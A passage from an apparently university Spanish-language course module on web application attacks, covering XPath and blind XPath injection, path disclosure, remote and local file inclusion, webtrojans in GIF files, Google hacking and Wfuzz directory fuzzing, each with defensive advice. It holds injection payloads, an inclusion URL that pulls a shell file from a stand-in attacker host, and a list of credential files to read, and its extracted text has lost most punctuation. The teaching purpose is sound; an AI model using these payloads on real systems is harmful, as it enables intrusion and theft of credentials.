la documentacioacuten existente son de poca ayuda pues en los entornos maacutes

comunes como ADAM u OpenLDAP no funcionan

La solucioacuten para proteger las aplicaciones frente a este tipo de inyecciones

consiste como en otros entornos de explotacioacuten en filtrar los paraacutemetros en-

viados desde el cliente En este caso filtrar operadores pareacutentesis y comodines

para que nunca un atacante sea capaz de inyectar loacutegica dentro de nuestra

aplicacioacuten

23 XPath

XPath es un lenguaje que permite la buacutesqueda de informacioacuten en do-

cumentos XML por medio de expresiones especiacuteficas para su estructura

Estaacute pensado para optimizar los tiempos de buacutesqueda haciendo uso de

la organizacioacuten de nodos que poseen los ficheros XML

Como cualquier medio para el almacenamiento y buacutesqueda de datos es posi-

ble implementarlo en aplicaciones web de modo que pueden sustituir a los

SGBD (sistema gestor de base de datos) basados en SQL

231 XPath injection y Blind XPath Injection

XPath Injection es una vulnerabilidad que radica en la modificacioacuten de los

paraacutemetros de buacutesqueda a la hora de formar una query XPath

Una inyeccioacuten XPath sucede cuando se inserta coacutedigo XPath dentro de la sen-

tencia y ejecuta el coacutedigo inyectado dentro del motor de buacutesqueda XML

Este tipo de vulnerabilidades basadas en inyecciones (XPath Injection SQL

Injection LDAP Injection) son fallos de seguridad causados por una mala

programacioacuten de la aplicacioacuten que hace la conexioacuten contra el motor de buacutes-

queda sin importar que la aplicacioacuten sea de escritorio o web

Para conocer coacutemo funciona esta teacutecnica en mayor profundidad vamos a su-

poner un caso praacutectico Tenemos una aplicacioacuten web que hace una conexioacuten

contra un aacuterbol XML con la siguiente estructura

ltxml version=10 encoding=UTF-8gt

ltusuariosgt

ltusuario login=admin password=t1oviv0 nivel=3 gt

ltusuario login=usuario password=miPasswordXml nivel=1 gt

ltusuario login=invitado password=invitado nivel=0 gt

CC-BY-NC-ND bull PID_00191662 49 Ataques a aplicaciones web

ltusuariosgt

La aplicacioacuten web maneja un sistema de autenticacioacuten basado en XML donde

para realizar la autentificacioacuten tiene un formulario en el que solicita un usuario

y un password con los que posteriormente formara una query de XPath con

la siguiente estructura

string xpath = usuariosusuario[login= + usuario + and password= + password + ]

En un entorno seguro esta query de XPath no devolveraacute ninguacuten resultado posi-

tivo a no ser que el usuario y el password correspondan con los establecidos en

el documento XML pero si se trata de un entorno inseguro donde los campos

de entrada (usuario y password) no estaacuten filtrados seriacutea posible realizar una

inyeccioacuten

Si un usuario introdujera en el campo password un valor como abclsquo or

lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob seriacutea suficiente para saltarse el sistema de login y acceder

a la zona privada ya que el motor de buacutesqueda XML devolveriacutea un resultado

positivo Teniendo en cuenta que primero se evaluacutean los operadores AND y

posteriormente los OR el resultado booleano que tratariacutea el motor de buacutesque-

da seriacutea el que nos muestra el siguiente ejemplo

Figura 40 Evaluacioacuten de los paraacutemetros en XPath

Como hemos visto con este tipo de inyecciones es posible hacer modificacio-

nes en la query para obtener el resultado deseado (truefalse) pero es posible ir

mucho maacutes allaacute y averiguar la estructura del aacuterbol XML con todos sus nodos

atributos y elementos

Realizar este tipo de ataques es posible Se utiliza una variacioacuten de ldquoXPath

Injectionrdquo llamada ldquoBlind XPath Injectionrdquo la cual consiste en averiguar valores

del aacuterbol XML basaacutendose en el resultado booleano que devuelve la aplicacioacuten

vulnerable

Retomando el caso praacutectico anterior supongamos que cuando realizamos login

en la aplicacioacuten (introduciendo abclsquo or lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob) la aplicacioacuten

devuelve un mensaje de autentificacioacuten donde dice ldquoBienvenidordquo y en caso

de que la query XPath devuelva un resultado negativo (cuando se realiza una

inyeccioacuten que devuelva false) muestre un mensaje donde diga ldquoUsuario yo

password incorrectordquo

CC-BY-NC-ND bull PID_00191662 50 Ataques a aplicaciones web

En este caso nos encontramos claramente ante una aplicacioacuten vulnerable a

Blind XPath Injection pero si aun asiacute queremos estar seguros de que se trata de

un motor XML y no SQL podemos utilizar funciones como count() la

cual devuelve el nuacutemero total de nodos en el aacuterbol que siempre deberiacutea tener

al menos 1 nodo

bull Inyeccioacuten de cadena alsquo or count()gt0 or lsquoarsquo=rsquob

bull Inyeccioacuten numeacuterica 0 or count()gt0 or 1=1

Tambieacuten es posible la utilizacioacuten de operadores OR en mayuacutesculas ya que

estos no son aceptados en buacutesquedas XML y siacute que lo son en buacutesquedas SQL

(estas admiten operadores tanto en minuacutesculas como en mayuacutesculas) de tal

modo que se podriacutea concluir si el motor de buacutesqueda trabaja con XML

bull Motor SQL lsquo OR 1=1 OR lsquorsquo=rsquo

bull Motor SQLXML lsquo or 1=1 or lsquorsquo=rsquo

Si con esta prueba obtenemos un resultado positivo no hay duda de que es un

sistema XML es vulnerable y ademaacutes es posible extraer todo el aacuterbol XML

iquestcoacutemo utilizando teacutecnicas de ldquobooleanizacioacutenrdquo

El primer paso a la hora de empezar un ataque para descargarse el aacuterbol seriacutea

sacar los valores del nodo raiacutez que contiene el resto de los nodos Los pasos

que habriacutea que realizar seriacutean los siguientes

1) Extraer el nombre del nodo

2) Extraer los atributos del nodo

3) Comprobar si es un elemento3 En caso positivo obtener el valor

4) Calcular el nuacutemero de nodos hijos que contiene el nodo que se estaacute anali-

zando

5) Volver a realizar el paso lsquo1rsquo con los nodos extraiacutedos en el paso lsquo4rsquo

Para extraer el nombre del nodo primero seriacutea necesario calcular el nuacutemero de

caracteres del mismo Esto se puede hacer utilizando la funcioacuten string-length

[PATH]childnode()[position()=[NUMNODO] and string-length (name())gt[NUMERO]]

Donde [PATH] seriacutea el nodo a analizar [NUMNODO] el nuacutemero de nodo (ya

que puede haber varios nodos con el mismo nombre dentro del mismo padre)

y [NUMERO] seriacutea la longitud del nombre del nodo De este modo utilizando

fuerza bruta y teacutecnicas de optimizacioacuten como la buacutesqueda binaria seriacutea posi-

ble sacar la longitud del nombre de la siguiente manera

(3)Si el nodo es un elemento nopuede contener subnodos por loque los pasos 4 y 5 no se realiza-riacutean

CC-BY-NC-ND bull PID_00191662 51 Ataques a aplicaciones web

or childnode()[position()=1 and string-length(name())gt20] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt10] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt5] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt7] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt9] or 1=1 and =

or childnode()[position()=1 and string-length(name())=8] or 1=1 and =

Una vez se sabe que la longitud del nodo son ocho caracteres se puede sacar

el nombre del nodo siguiendo el mismo mecanismo teacutecnicas de ldquobooleaniza-

cioacutenrdquo e imaginacioacuten

or childnode()[position()=1 and starts-with(name()a)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()b)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()c)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()u)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()ua)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()ub)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()us)] and =

or childnode()[position()=1 and starts-with(name()usu)] and =

Seriacutea el mismo proceso para cada letra del nombre utilizando un charset de

caracteres y extraer cada caraacutecter desde la posicioacuten 1 hasta la posicioacuten maacutexi-

ma que seriacutea la longitud del nombre extraiacuteda inicialmente

Los pasos para extraer los atributos y elementos seriacutean exactamente los mis-

mos pero variando la consulta XPath con las siguientes plantillas

1) Para extraer informacioacuten referente a los nodos

bull Longitud del nombre

[PATH]childnode()[position()=[NUMNODO] and

string-length(name())gt[NUMERO]]

bull Nombre del nodo

[PATH]childnode()[position()=[NUMNODO] and

starts-with(name()[VALORES])]

bull Nuacutemero de subnodos

count([PATH]childnode())gt[NUMERO]

2) Para extraer la informacioacuten de los atributos

bull Nuacutemero de atributos de un nodo

count([PATH]childnode()[[NUMNODO]])gt[NUMERO]

CC-BY-NC-ND bull PID_00191662 52 Ataques a aplicaciones web

bull Longitud del nombre del atributo

[PATH]childnode()[position()=[NUMNODO]] and

string-length([PATH]childnode()

[[NUMNODO]][position()=[NUMATT] and

string-length(name())gt[NUMERO]])gt0

bull Longitud del valor del atributo

[PATH]childnode()[position()=[NUMNODO]] and

string-length([PATH]childnode()

[[NUMNODO]][position()=[NUMATT]])gt[NUMERO]

bull Nombre del atributo

[PATH]childnode()[position()=[NUMNODO]] and

[PATH]childnode()[[NUMNODO]][position()=[NUMATT] and

starts-with(name()[VALORES])

bull Valor del atributo

[PATH]childnode()[position()=[NUMNODO]] and

starts-with([PATH]childnode()

[[NUMNODO]][position()=[NUMATT]] [VALORES])

3) Para extraer el contenido de un nodo los elementos

bull Longitud del elemento

string-length([PATH]childtext())gt[NUMERO]

bull Valor del elemento

starts-with([PATH]childtext()[VALORES])

Esta teacutecnica puede resultar muy tediosa y lenta si se realiza manualmente pero

para ello ya existen herramientas que hacen este proceso de forma automaacuteti-

ca y ademaacutes utilizan teacutecnicas de optimizacioacuten como reduccioacuten del charset

para encontrar los datos realizando un reducido nuacutemero de consultas

Implementar una reduccioacuten de charset es algo simple basta con hacer una

query por cada caraacutecter y comprobar si ese caraacutecter existe en alguacuten nodo ele-

mento o atributo del aacuterbol En caso negativo se elimina ese caraacutecter del char-

set Esto puede hacerse con la siguientes query

[contains(name() a)] or [contains(name() a)]

or attribute[contains(a)] or contains( a)

Si esta nos devuelve un resultado positivo se mantiene la letra lsquoarsquo en el charset

de letras a probar sin embargo si nos devuelve la paacutegina que hemos asociado

a una peticioacuten falsa podremos eliminar el caraacutecter a del resto de pruebas a

realizar pues ya sabremos que nunca va a aparecer

CC-BY-NC-ND bull PID_00191662 53 Ataques a aplicaciones web

Otra teacutecnica interesante para la optimizacioacuten del Blind XPath Injection es el

de ldquolearn wordsrdquo de modo que cuando se extrae el nombre de un nodo ele-

mento o atributo se guarda en una lista Cuando se encuentre otro nodoele-

mentoatributo de una longitud de nombre igual a la de alguacuten elemento ya

extraiacutedo hacer comprobaciones con los nodos ya conocidos pues es probable

que si tienen la misma longitud tengan el mismo nombre

En la siguiente imagen se muestra una herramienta en funcionamiento una

vez descargado el aacuterbol XML de una aplicacioacuten web vulnerable

Figura 41 Aacuterbol XML extraiacutedo mediante una aplicacioacutenautomatizada

232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection

La proteccioacuten contra este tipo de teacutecnicas es muy simple y debe correr de

la mano del programador de la aplicacioacuten Uacutenicamente hay que realizar un

filtrado de las entradas teniendo en cuenta dos factores

bull Si la entrada es numeacuterica antes de formar la query comprobar que el valor

introducido en la entrada es un valor numeacuterico y no una cadena de texto

bull Si la entrada es de texto remplazar los caracteres peligrosos como la comi-

lla simple y doble por rsquo y rdquo

CC-BY-NC-ND bull PID_00191662 54 Ataques a aplicaciones web

3 Ataques de Path Transversal

Mediante las teacutecnicas de Path Transversal se va a lograr acceder a in-

formacioacuten referente al servidor desde simplemente el directorio donde

se estaacute ejecutando la aplicacioacuten web hasta lograr descargar ficheros del

servidor Cada uno de estos fallos recibe un nombre y lo estudiaremos

por separado

La informacioacuten obtenida puede ser usada por un atacante para lograr acceder

a otros recursos de la paacutegina mediante alguacuten tipo de ingenieriacutea social o dedu-

ciendo posibles nombres de ficheros yo carpetas para posteriormente acceder

a ellos

Vamos a analizar desde los menos peligrosos hasta los maacutes criacuteticos viendo

coacutemo unos se apoyan en los anteriores y coacutemo en cierta medida dependen

unos de los otros y realmente estaacuten muy relacionados entre siacute

31 Path Disclosure

Este problema no es especiacutefico de una tecnologiacutea sino que puede darse en

cualquier lenguaje de programacioacuten y en cualquier tecnologiacutea de servidor Es-

ta vulnerabilidad no es criacutetica por siacute misma pero puede facilitar las cosas a

un atacante que intente cualquiera de los fallos que se comentaraacuten posterior-

mente

El concepto es lograr conocer la ruta en la que se estaacute ejecutando la apli-

cacioacuten Para ello nos valdremos de mensajes de error (provocados o no)

que contengan rutas a ficheros Esto lo lograremos introduciendo carac-

teres erroacuteneos en los paraacutemetros o accediendo a rutas que no existan

Figura 42 Fallo de Path Disclosure

CC-BY-NC-ND bull PID_00191662 55 Ataques a aplicaciones web

Este mensaje de error puede darse al intentar reproducir cualquiera de los de-

maacutes fallos explicados en esta seccioacuten Normalmente los lenguajes de progra-

macioacuten del lado del servidor si no tienen los errores controlados mostraraacuten

un mensaje de error predefinido que usualmente contiene la ruta del fichero

afectado

Evitar este tipo de errores es tan sencillo como generar nuestras propias paacutegi-

nas de error Tambieacuten controlar cualquier tipo de excepcioacuten en el coacutedigo es

buena praacutectica En definitiva no dejar que los mensajes por defecto se mues-

tren nunca al usuario

CC-BY-NC-ND bull PID_00191662 56 Ataques a aplicaciones web

4 Ataques de inyeccioacuten de ficheros

41 Remote file inclusion

Remote file inclusion es la vulnerabilidad consistente en ejecutar coacutedigo

remoto dentro de la aplicacioacuten vulnerable Se basa en la idea de que al

igual que es posible cargar un fichero local para su inclusioacuten dentro de la

paacutegina podriacuteamos cargar uno remoto que contuviese coacutedigo malicioso

Esto es posible en lenguajes interpretados donde podemos incluir un fichero

con coacutedigo y antildeadirlo a la ejecucioacuten En el siguiente ejemplo se toma como

base una paacutegina programada en PHP

httpwwwmipaginacommostrarphppag=indexphp

PHP hace uso de funciones que permiten la inclusioacuten de ficheros externos

para generar paacuteginas maacutes complejas y maacutes completas En el hipoteacutetico ejemplo

anterior el fichero mostrarphp hariacutea uso de alguna de estas funciones de PHP

que permiten la inclusioacuten dinaacutemica de ficheros

bull include($pag)

bull require($pag)

bull include_once($pag)

bull require_once($pag)

Estas funciones reciben un paraacutemetro (llamado $pag en este ejemplo) que in-

dica la ruta del fichero que ha de incluirse Si la variable pag no estaacute suficien-

temente controlada podremos hacer una llamada a un fichero externo que se

descargaraacute e interpretaraacute en el lado del servidor

httpwwwmipaginacommostrarphppag=httpmalocomshelltxt

En la llamada anterior el servidor mipaginacom solicitaraacute a malocom el

fichero shelltxt que incluiraacute coacutedigo PHP vaacutelido que se ejecutaraacute en

mipaginacom

Este fallo se debe a una mala configuracioacuten del servidor PHP el cual permite la

inclusioacuten de ficheros externos La configuracioacuten correcta deberiacutea ser la prohi-

bicioacuten total de realizar estas acciones

CC-BY-NC-ND bull PID_00191662 57 Ataques a aplicaciones web

Para establecer una configuracioacuten adecuada en el inteacuterprete de PHP debemos

buscar el fichero phpini de configuracioacuten (en Linux suele estar en etc

php5phpini) y establecer la clave de configuracioacuten allow_url_include

a false

Este fallo de seguridad puede dar lugar a que un atacante logre ejecutar cual-

quier coacutedigo deseado en el servidor web con los riesgos que esto conlleva

Existen ficheros ya pregenerados para ser incluidos dentro del flujo de ejecu-

cioacuten de la aplicacioacuten web Van desde un simple inteacuterprete de comandos a una

completa shell equipada con su propio explorador de ficheros opciones pa-

ra subir o descargar ficheros e incluso la posibilidad de ejecutar programas en

el equipo remoto

Figura 43 Shell remota ejecutaacutendose

Existe una gran variedad de shells remotas que podemos encontrar en Internet

Por ejemplo la shell mostrada en la figura anterior se llama c99 aunque existen

otras como la r57 o c100 De todas maneras siempre podemos programarnos

una propia con la funcionalidad que necesitemos

42 Local file inclusion

Esta vulnerabilidad al contrario que la anterior afecta tanto a lenguajes com-

pilados como interpretados Se basa en la posibilidad de incluir dentro de la

paacutegina un fichero local del usuario con el que se ejecuta el servidor de aplica-

ciones web que tenga permisos de lectura

Esta vulnerabilidad puede ocurrir en cualquier lugar de un sitio web pero suele

ser maacutes comuacuten en dos sitios bien diferenciados

bull Paacuteginas de plantillas carga un fichero desde otro y le da formato

CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web

bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a

descargar y lo enviacutea al cliente

El concepto tras ambos fallos es el mismo y las implementaciones defectuo-

sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera

satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-

ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior

usando los caracteres en sistemas Linux o en sistemas Windows maacutes

el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-

pechamos que la siguiente URL tiene un fallo de local file inclusion

httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp

Entonces para corroborarlo y determinar que efectivamente nos encontramos

frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que

quedase como sigue

httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp

Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-

nerable a local file inclusion

Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el

concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten

web y empezar a incluir ficheros del propio sistema operativo Esto nos per-

mitiraacute obtener maacutes informacioacuten sobre el equipo

Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path

Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican

estos De todas maneras y si no sabemos la ruta relativa de un fichero frente

a la paacutegina vulnerable podemos usar las rutas directas4

Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica

dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-

tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros

como muestra de la informacioacuten que podemos llegar a obtener

bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-

pendio de los usuarios existentes asiacute como datos relativos a ellos como

nombre o directorio del home

bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele

contener una lista de nombre e IPS internos que nos permiten obtener una

mejor idea de la estructura interna de una organizacioacuten

bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres

de usuarios y claves de los usuarios de un sistema Windows En la carpeta

(4)Una ruta directa es la que inclu-ye todo el nombre del fichero

CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web

Repair se almacena una copia del fichero SAM para poder recuperarla en

caso de error del sistema

bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero

vulnerable mediante el fallo de local file inclusion para poder aprender de

los problemas de otros

Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en

montar el servidor con el miacutenimo privilegio posible limitando la posibilidad

de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-

gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios

de la aplicacioacuten

Figura 44 Ejemplo de local file inclusion

Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-

larlo mediante permisos en el servidor hay que tener en cuenta que las rutas

a ficheros se pueden escribir de dos maneras

bull Directa Escribimos la ruta donde se encuentra el fichero directamente

Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados

por los usuarios

bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores

mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes

de lo anterior los puntos

43 Webtrojans

Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente

complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos

en PDF ficheros de viacutedeo etc

Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos

enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un

fichero con una imagen es necesario comprobar que lo que recibimos es real-

mente una imagen y no otro tipo de fichero

CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web

Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando

en nuestro servidor un fichero malintencionado conocido como webtrojan5

Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-

quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen

desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo

dentro de otros ficheros

El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras

una cabecera de una imagen donde algunos servidores son capaces de ejecutar

el coacutedigo

Figura 45 Webtrojan oculto dentro de un fichero GIF

En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor

de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para

subir cualquier tipo de fichero

Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-

tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo

que nosotros hemos permitido Una buena praacutectica es la de establecer noso-

tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben

evitando que alguien pueda subir un fichero y establecerlo con extensiones

como ASP o PHP

(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad

CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web

5 Google Hacking

Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas

privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea

accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general

los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus

propietarios saben que se encuentra ahiacute

Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la

informacioacuten que nos interesa es muy importante permitieacutendonos recopilar

mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio

ninguna peticioacuten al servidor en cuestioacuten

Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-

mos realizar y que combinados unos con otros alcanzan una potencia mucho

mayor

bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia

obligatoria de esta palabra en las paacuteginas devueltas

bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye

todos los resultados que contengan esa palabra

bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas

completas de texto dentro de los resultados

bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-

quier palabra dentro de una frase entrecomillada

bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina

bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina

bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas

bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-

cada

bull domainltdominiogt Limita los resultados al dominio especificado Se

puede usar solo el identificador del paiacutes (como es)

Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier

cosa que esteacute en Internet

CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web

Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo

Google Hacking Database es una base de datos de buacutesquedas de corroborada

eficacia que permite obtener datos interesantes referentes a ficheros de confi-

guracioacuten zonas privadas dispositivos conectados a la red software vulnera-

ble etc

Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos

de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar

subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a

realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas

Para empezar se selecciona un dominio en este caso se ha elegido el dominio

uoces y se ejecuta la siguiente buacutesqueda

siteuocedu

Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-

nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-

dos

El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-

tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo

-www siteuoces

Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de

paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar

una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea

la siguiente

-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning

-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept

-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia

CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web

-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv

-www -biblio siteuoces

Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten

momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces

por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-

cioacuten sobre nuestro dominio

Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver

todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf

etc

Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad

de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas

locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten

un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-

tar sacar las contrasentildeas

CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web

6 Seguridad por ocultacioacuten

Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la

puerta de una casa para que dado el caso podamos entrar si hemos perdido

nuestra llave Evidentemente esto no es nada seguro pues cualquier persona

que la encuentre podraacute acceder al igual que nosotros a nuestra casa

Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web

Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-

vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida

de ficheros temporales Algunas de las maacutes comunes son

bull admin

bull logs

bull uploads

bull phpmyadmin

bull tmp

Estos directorios se pueden descubrir mediante pruebas manuales o haciendo

uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros

En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con

nombres conocidos

Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-

tituyendo en la zona de la URL que nosotros especifiquemos una cadena de

texto que va cogiendo liacutenea tras liacutenea de un fichero de texto

Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-

tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta

Vamos a aprender a usarla pues la sintaxis es simple

wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ

La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va

a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la

hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros

estaremos indicaacutendole al programa que

bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-

tas que vamos a buscar se van a coger desde un fichero de texto

(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas

CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web

bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado

el fichero commontxt que acompantildea al programa y que contiene una lista

de los nombres maacutes comunes de directorios ocultos

bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del

programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha

usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo

HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y

palabras (--hw) que contiene una paacutegina por si nos encontramos con un

servidor que devuelva siempre una paacutegina con coacutedigo 200

bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-

raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-

chero especificado

Figura 47 Resultado de la ejecucioacuten del programa Wfuzz

En la imagen anterior apreciamos coacutemo el programa ha detectado una serie

de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo

y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de

seguridad

Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la

buacutesqueda del fichero robotstxt Este fichero es usado por los administradores

de sitios web para evitar que Google y otros buscadores indexen zonas que

no desean

CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web

Figura 48 Ejemplo de fichero robotstxt

El problema es que mucha gente no entiende completamente el concepto de

este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen

aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-

res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos

encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-

nistrativas de pruebas privadas

Otro fichero que puede darnos mucha informacioacuten y que al contrario de

los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero

sitemapxml es un fichero propuesto por Google como una manera de indi-

carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y

cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos

descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital

importancia pues nos ahorra tiempo en navegar por el sitio y con una sola

peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten

se muestra un ejemplo de un fichero sitemapxml

ltxml version=10 encoding=UTF-8gt

lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt

lturlgt

ltlocgthttpwwwacomltlocgt

ltlastmodgt2005-01-01ltlastmodgt

ltchangefreqgtmonthlyltchangefreqgt

ltprioritygt08ltprioritygt

lturlgt

lturlgt

ltlocgthttpwwwacomnewsltlocgt

ltchangefreqgtweeklyltchangefreqgt

lturlgt

lturlgt

ltlocgthttpwwwacomarchiveltlocgt

ltlastmodgt2004-12-23ltlastmodgt

changefreqgtweeklyltchangefreqgt

CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web

lturlgt

lturlgt ltlocgthttpwwwacomfaqltlocgt

ltlastmodgt2004-12-23T180015+0000ltlastmodgt

ltprioritygt03ltprioritygt

lturlgt

lturlgt ltlocgthttpwwwacomaboutltlocgt

ltlastmodgt2004-11-23ltlastmodgt

lturlgt

lturlsetgt

61 Descompiladores de applets web

611 Flash

Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una

interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas

que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-

sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-

cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo

aunque a veces ocurre

Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente

han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros

proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de

